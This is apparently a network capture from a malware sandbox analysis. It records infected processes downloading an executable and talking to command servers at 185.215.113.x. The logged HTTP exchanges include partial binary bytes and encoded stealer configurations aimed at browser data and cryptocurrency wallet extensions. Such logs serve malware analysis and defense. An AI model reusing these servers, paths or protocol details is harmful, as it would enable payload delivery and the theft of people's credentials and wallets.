Dec 16, 2024 13:16:37.722960949 CET	1236	IN	Data Raw: de f4 9e e2 1f ac b9 7f e0 b9 fa f6 ed 71 5d a0 9b 8d 21 96 1f 69 68 66 c7 71 99 c5 bb ed 91 91 af 2b 8a 78 9f 23 82 a0 fa c7 74 24 01 53 60 72 17 51 72 76 13 e1 61 b2 eb 71 55 4f 86 82 49 3f dc 75 3d 4e d4 ef 91 76 de 99 65 ce c3 91 21 77 a1 52 Data Ascii: q]!ihfq+x#t$S`rQrvaqUOI?u=Nve!wR;mgGG^fw2Ta^!UU\}gu%=")7q[R"#Q["&:4']-1q)rKU"a]af[*s(~}'jkh<PZ
Dec 16, 2024 13:16:37.722980976 CET	1236	IN	Data Raw: b1 49 60 3a bd 61 96 7f dc 72 a4 d3 47 a6 f6 e7 10 89 dd 2f ae 51 2d 67 66 50 3d 0a ad 81 d0 47 53 cb 22 35 a4 d0 00 a7 02 c4 39 f8 77 c8 21 a2 ca 04 23 11 85 a8 bc a6 a6 0c 28 60 0e 73 6f e9 63 ba 5e 16 24 e0 22 c5 0b e2 5f f1 eb d1 21 e3 2c 70 Data Ascii: I`:arG/Q-gfP=GS"59w!#(`soc^$"_!,pVF_'5e?d'>%<"}!;eZp}0qgPpS&F}<{esi._Ij^\|()%E=fM$7}OR~;J]Vsio
Dec 16, 2024 13:16:37.722992897 CET	776	IN	Data Raw: dd bc 89 e2 b1 e9 3a 0e 24 7b 27 6f ac 8a da 60 b1 0d 2b f6 dc da 11 7c ed ab d1 6f 5f 71 3d fe f3 4b 37 04 65 b9 e9 74 77 ed 3b 76 27 ae e5 b7 a9 57 a8 77 a3 89 ad 92 0c 7d cc 7b 7d 2d 32 7e e5 91 2f 72 57 da 41 fb b1 33 72 96 b1 79 69 e2 c7 f2 Data Ascii: :${'o`+\|o_q=K7etw;v'Ww}{}-2~/rWA3ryiaaR.Ka)(tg@< ^"s[~EwVy9Q0Z"V A\|!}pG*H~<If[2Yz'6qw}o!<rtr}#!^,p& oB
Dec 16, 2024 13:16:37.723007917 CET	1236	IN	Data Raw: c7 c6 a0 ee 25 19 a2 1e de b5 a6 82 ae cb e9 6f 77 72 07 6f 98 80 c4 cf 5f 8b 11 6f f7 f4 a2 45 de 7f 39 9f 15 90 b6 8b c7 cb 5b 06 bd 3a 3e 90 af b9 2f 7f fb 71 b9 e6 2b 24 b3 0e 0c ab 2f da ac 89 5b b6 40 91 a0 9f ae d1 a1 a0 b4 05 2d 3b a4 ae Data Ascii: %owro_oE9[:>/q+$/[@-;}t%Kczf/Np7[+!$}sMooe1i'7R2nn^nM#t"7/c_tkq!<V*,;peiV01o]k!Q
Dec 16, 2024 13:16:37.723242044 CET	1236	IN	Data Raw: db ad 85 80 5f 9a 61 66 eb ed 3b 86 28 ae c7 67 22 ab c7 b6 1f 82 79 80 0b ed 74 f3 bd dd 5b d8 9f 7f f9 80 97 7a 98 67 2b c2 4f fb fd ab 0d 80 04 79 1e 9e b1 d9 9d ae 87 da 6c e2 3c 40 92 a0 b1 ed 29 42 24 f2 56 66 bb f9 d5 de ac 21 a6 e1 6e 1d Data Ascii: _af;(g"yt[zg+Oyl<@)B$Vf!n#s'r{;('9tqP{kV{E)<@:go?qo/H%gSE<q%kG)v#5_9;ag^Z:&${^p^+*'H1tv92'z9bF4/
Dec 16, 2024 13:16:37.723253012 CET	1236	IN	Data Raw: df 35 f2 ff b1 4d 22 66 1f ab 8b 66 b9 d1 09 a1 ab ad 3e 6a a3 ab 75 a3 b1 83 dd 81 5d 59 1c 74 1f f3 3d a4 bf 2b e1 be 1f 7f 8d 80 63 79 49 63 54 a1 5e e6 a3 82 ad ac af ae 44 75 67 7d b9 74 bc 1d 22 6e 29 f9 1a f2 30 91 e1 74 dd 39 42 de e0 93 Data Ascii: 5M"ff>ju]Yt=+cyIcT^Dug}t"n)0t9BcqQ/>0Sr_Z/U^Auo{;+E;ym=q*$pat[+"Q{A#_fr=[&unlx[&0c-
Dec 16, 2024 13:16:37.842981100 CET	1236	IN	Data Raw: b2 17 16 da 5c f3 c4 b5 91 69 77 e7 bd 41 fb ed 20 7a 81 b2 eb 13 8e b9 9d eb 1c db 6b 3e bf 7a 22 cb 90 7b aa 19 51 83 f3 d4 6d 24 89 c8 83 ec f0 8a 01 1a 13 d1 5f f1 d4 7a 67 bd 4e dc cb 82 1f d4 71 8b da 41 41 7c 3b d2 11 e4 86 74 54 ab ac ba Data Ascii: \iwA zk>z"{Qm$_zgNqAA\|;tTp&'\xC0Ng@7WlWFz*XB2Dwh.[-No7ko85lhBX[#C.tetOy]zN@=ut12,lrPFSutWg@L[^+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49789	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:16:43.570254087 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 30 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016094001&unit=246122658369
Dec 16, 2024 13:16:44.901720047 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:16:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49794	185.215.113.16	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:16:45.030834913 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 16, 2024 13:16:46.364062071 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:16:45 GMT Content-Type: application/octet-stream Content-Length: 969728 Last-Modified: Mon, 16 Dec 2024 11:34:42 GMT Connection: keep-alive ETag: "67601052-ecc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 43 10 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 1c 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELC`g"w@0@@@d\|@au4@.text `.rdata@@.datalpH@.rsrca@b@@.relocuvV@B
Dec 16, 2024 13:16:46.364202023 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Dec 16, 2024 13:16:46.364228010 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Dec 16, 2024 13:16:46.364239931 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Dec 16, 2024 13:16:46.364250898 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Dec 16, 2024 13:16:46.364263058 CET	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Dec 16, 2024 13:16:46.364275932 CET	776	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Dec 16, 2024 13:16:46.364289045 CET	1236	IN	Data Raw: f0 13 4d 00 e8 59 40 00 00 8a 5c 24 11 ff 35 00 14 4d 00 68 18 14 4d 00 e8 be f1 ff ff 85 c0 0f 85 61 00 04 00 80 7c 24 12 01 0f 84 73 00 04 00 e8 59 00 00 00 e8 34 01 00 00 80 3d 04 14 4d 00 00 bb 90 19 4d 00 75 07 8b cb e8 f3 0c 00 00 57 b9 30 Data Ascii: MY@\$5MhMa\|$sY4=MMuW0M=MuD$8PIL$(m_^[]U4SVWj<Ihj8I54Ijc5XMh5XMMh5XMM3MVjjjj
Dec 16, 2024 13:16:46.364475012 CET	1236	IN	Data Raw: fa 78 00 00 8d 45 f0 83 ee 02 50 8d 4d 90 e8 a8 00 00 00 39 1d 1c 14 4d 00 0f 84 8d fd 03 00 85 f6 0f 88 a5 fd 03 00 8b 4d 0c e8 f3 33 00 00 8d 4e 01 8b f8 51 6a 01 57 e8 4a 3a 00 00 83 c4 0c 89 75 e0 33 c0 89 5d e8 40 89 45 ec 53 50 8d 45 e0 50 Data Ascii: xEPM9MM3NQjWJ:u3]@ESPEPW@Mt~5EPML?CESjPWf@MKEPM#;\|M"hM+M@_^[U;Q}BAM;t4!x]MhI:2
Dec 16, 2024 13:16:46.364495993 CET	1236	IN	Data Raw: 89 1d ac 23 4d 00 89 1d b0 23 4d 00 89 1d b4 23 4d 00 c7 05 b8 23 4d 00 44 c9 49 00 89 1d bc 23 4d 00 89 1d c0 23 4d 00 89 1d c4 23 4d 00 a3 c8 23 4d 00 89 1d cc 23 4d 00 89 1d d0 23 4d 00 89 1d d4 23 4d 00 89 1d dc 23 4d 00 c7 05 e0 23 4d 00 3c Data Ascii: #M#M#M#MDI#M#M#M#M#M#M#M#M#M<I#M#M#M#MfNtL$(>T$(0h(IL$,D$(#MPL$tL$mqD$3PjVhIhIL$cL$(c_^#M
Dec 16, 2024 13:16:46.486038923 CET	1236	IN	Data Raw: 65 13 4d 00 00 0f 85 4d fa 03 00 83 7e 60 00 0f 85 27 fa 03 00 68 f0 13 4d 00 8d 4c 24 0c e8 bc 29 00 00 be a8 03 00 00 8d 84 24 28 01 00 00 56 6a 00 50 e8 97 e9 01 00 a1 8c 13 4d 00 8d 4c 24 24 8b 54 24 14 83 c4 0c 89 b4 24 18 01 00 00 33 f6 46 Data Ascii: eMM~`'hML$)$(VjPML$$T$$3F$$ h$(2YD$P$4PYY$PVIL$\|^^]UVuWtFPRW3fDw_^]UQM;sH]PU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49795	185.215.113.206	80	1012	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:16:45.050756931 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 13:16:46.383563042 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:16:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 13:16:46.385972977 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKJKFBKKECFHJKEBKEH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 43 36 43 45 44 44 32 35 32 45 33 34 34 31 30 34 31 38 31 34 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 2d 2d 0d 0a Data Ascii: ------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="hwid"A6C6CEDD252E3441041814------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="build"stok------BKKJKFBKKECFHJKEBKEH--
Dec 16, 2024 13:16:46.844058990 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:16:46 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 6a 6b 31 5a 54 63 33 4d 7a 59 32 4e 6d 51 30 4e 44 64 68 4f 54 4d 78 59 54 45 77 5a 44 67 32 59 54 52 68 4d 7a 51 77 5a 44 63 7a 4d 7a 55 34 4f 57 51 30 4d 7a 67 77 59 54 67 31 59 6a 6b 78 4e 44 68 6b 59 6a 4d 78 4e 47 55 32 59 6a 59 33 5a 54 68 6c 4d 32 56 6a 4e 32 52 6b 59 32 4d 78 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: Mjk1ZTc3MzY2NmQ0NDdhOTMxYTEwZDg2YTRhMzQwZDczMzU4OWQ0MzgwYTg1YjkxNDhkYjMxNGU2YjY3ZThlM2VjN2RkY2MxfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 16, 2024 13:16:46.845556021 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDHDBAECGCAFHJJDAKF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 39 35 65 37 37 33 36 36 36 64 34 34 37 61 39 33 31 61 31 30 64 38 36 61 34 61 33 34 30 64 37 33 33 35 38 39 64 34 33 38 30 61 38 35 62 39 31 34 38 64 62 33 31 34 65 36 62 36 37 65 38 65 33 65 63 37 64 64 63 63 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 2d 2d 0d 0a Data Ascii: ------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="token"295e773666d447a931a10d86a4a340d733589d4380a85b9148db314e6b67e8e3ec7ddcc1------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="message"browsers------GHDHDBAECGCAFHJJDAKF--
Dec 16, 2024 13:16:47.285552025 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:16:47 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 16, 2024 13:16:47.285592079 CET	124	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdT
Dec 16, 2024 13:16:47.477415085 CET	896	IN	Data Raw: 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e 78 63 51 32 68 6c 5a 47 39 30 58 46 Data Ascii: dGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHB
Dec 16, 2024 13:16:47.484963894 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 39 35 65 37 37 33 36 36 36 64 34 34 37 61 39 33 31 61 31 30 64 38 36 61 34 61 33 34 30 64 37 33 33 35 38 39 64 34 33 38 30 61 38 35 62 39 31 34 38 64 62 33 31 34 65 36 62 36 37 65 38 65 33 65 63 37 64 64 63 63 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 2d 2d 0d 0a Data Ascii: ------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="token"295e773666d447a931a10d86a4a340d733589d4380a85b9148db314e6b67e8e3ec7ddcc1------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="message"plugins------BGIDBKKKKKFBGDGDHIDB--
Dec 16, 2024 13:16:47.926783085 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:16:47 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2h